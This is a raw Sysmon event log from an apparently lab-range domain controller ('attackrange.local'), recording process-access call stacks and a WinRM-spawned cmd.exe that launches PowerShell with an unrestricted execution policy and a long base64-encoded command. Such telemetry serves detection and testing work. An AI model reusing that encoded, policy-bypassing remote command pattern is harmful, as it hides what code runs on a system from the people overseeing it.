09:10:23.866{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002909Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.866{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002908Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.866{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002907Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.866{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002906Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.866{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002905Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.866{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002904Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.866{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002903Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.866{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002902Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.866{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-28FF-5F80-8E00-000000007F01}4988C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002901Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.866{A5F018FF-28FF-5F80-8C00-000000007F01}47204692C:\Windows\system32\WinrsHost.exe{A5F018FF-28FF-5F80-8E00-000000007F01}4988C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\WinrsHost.exe+2c94|C:\Windows\system32\WinrsHost.exe+2eb1|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+7d09|C:\Windows\System32\combase.dll+22b9|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb 154100x80000000000000002900Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.877{A5F018FF-28FF-5F80-8E00-000000007F01}4988C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-28FF-5F80-9D63-050000000000}0x5639d0HighMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-28FF-5F80-8C00-000000007F01}4720C:\Windows\System32\winrshost.exeC:\Windows\system32\WinrsHost.exe -Embedding 10341000x80000000000000002899Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.866{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002898Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.866{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002897Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.866{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002896Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.866{A5F018FF-28BF-5F80-1300-000000007F01}12641944C:\Windows\system32\svchost.exe{A5F018FF-28FF-5F80-8C00-000000007F01}4720C:\Windows\system32\WinrsHost.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\winrscmd.dll+8d36|C:\Windows\system32\winrscmd.dll+92d5|C:\Windows\system32\winrscmd.dll+af31|C:\Windows\system32\winrscmd.dll+23dc|c:\windows\system32\wsmsvc.dll+155ac7|c:\windows\system32\wsmsvc.dll+13f76d|c:\windows\system32\wsmsvc.dll+13f3cf|c:\windows\system32\wsmsvc.dll+13fcb2|c:\windows\system32\wsmsvc.dll+9ab10|c:\windows\system32\wsmsvc.dll+9b611|c:\windows\system32\wsmsvc.dll+4495|c:\windows\system32\wsmsvc.dll+16816c|c:\windows\system32\wsmsvc.dll+1689b8|c:\windows\system32\wsmsvc.dll+16345b|c:\windows\system32\wsmsvc.dll+163125|c:\windows\system32\wsmsvc.dll+14ce9c|c:\windows\system32\wsmsvc.dll+130049|c:\windows\system32\wsmsvc.dll+13571a|c:\windows\system32\wsmsvc.dll+12f47e|c:\windows\system32\wsmsvc.dll+125587|c:\windows\system32\wsmsvc.dll+11f562|c:\windows\system32\wsmsvc.dll+124574 10341000x80000000000000002895Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.851{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28FF-5F80-8C00-000000007F01}4720C:\Windows\system32\WinrsHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002894Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.851{A5F018FF-28FF-5F80-8D00-000000007F01}47444736C:\Windows\system32\conhost.exe{A5F018FF-28FF-5F80-8C00-000000007F01}4720C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002893Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.835{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28FF-5F80-8D00-000000007F01}4744C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002892Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.835{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002891Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.835{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002890Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:23.835{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002889Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 